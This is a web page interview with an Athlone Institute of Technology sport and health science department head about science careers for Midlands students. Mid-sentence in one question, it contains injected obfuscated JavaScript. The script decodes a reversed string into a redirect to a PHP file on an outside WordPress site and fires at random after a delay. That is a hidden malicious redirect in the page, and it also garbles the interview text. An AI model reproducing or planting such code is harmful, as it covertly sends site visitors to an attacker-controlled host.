Healthy Living Advice for Midlands Students…

As part of an ongoing new collaboration with the region’s third level provider, Athlone Institute of Technology, we are really excited to be participating in this year’s Healthy Living Week at Tullamore College. We caught up with one of our key speakers, Dr. Aoife Lane to find out more….

Aoife, we are delighted to be partnering with AIT this year on our science promotion initiatives and we are really grateful for the career talks that you will be providing to senior Midlands students later this week..Can you tell us a bit about your role at AIT?

I am Head of Department of Sport and Health Science here in AIT. We have approximately 16 staff and 400 students in our Department with an additional 12 students studying at postgraduate level.

What inspired you towards a science related career?

I really enjoyed Science subjects in secondary school, particularly Chemistry and Biology. I was also a big fan of sport so studying Sport Science in UL was an easy choice for me. I have enjoyed learning about how physical activity and exercise promotes health from a physiological and even broader perspective.

What types of exciting jobs have some of your students pursued after courses within Sports Science?

Students are progressing to work in clinical exercise physiology, providing opportunities for exercise to people who may be overweight, have suffered a cardiac event or may be diabetic or even struggling with their mental health. Other graduates have moved in to broader science related careers, in nutrition, psychology, human movement and rehabilitation.

What can we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do to encourage more young people to consider science courses at third level?

I think seeing is believing in this regard. More exposure for young people to sport and health science, along with enhanced visibility of further study and career options will encourage greater engagement in this field at third level.

What is your favourite science fact?

If you meet physical activity guidelines every day, but sit for prolonged periods, you remain at risk for ill health! Sitting is bad for you!